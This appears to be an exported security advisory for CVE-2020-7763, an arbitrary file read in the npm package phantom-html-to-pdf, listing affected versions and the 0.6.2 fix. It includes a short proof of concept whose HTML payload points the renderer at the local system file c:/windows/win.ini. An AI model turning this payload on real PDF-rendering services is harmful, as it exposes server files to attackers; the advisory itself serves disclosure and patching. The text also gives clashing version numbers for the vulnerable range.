phantom-html-to-pdf
Affected
- introduced
0, fixed0.6.2(semver)
Fixed versions
0.6.2
Fix
- Fixed version
0.6.2npm install [email protected]
Advisory
Also known as: CVE-2020-7763, SNYK-JS-PHANTOMHTMLTOPDF-1023598
Arbitrary File Read in phantom-html-to-pdf
This affects the package phantom-html-to-pdf before 0.6.1.
PoC
var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});High Basis: The source's own band: HIGH
0, fixed 0.6.2 (semver)0.6.2
0.6.2npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0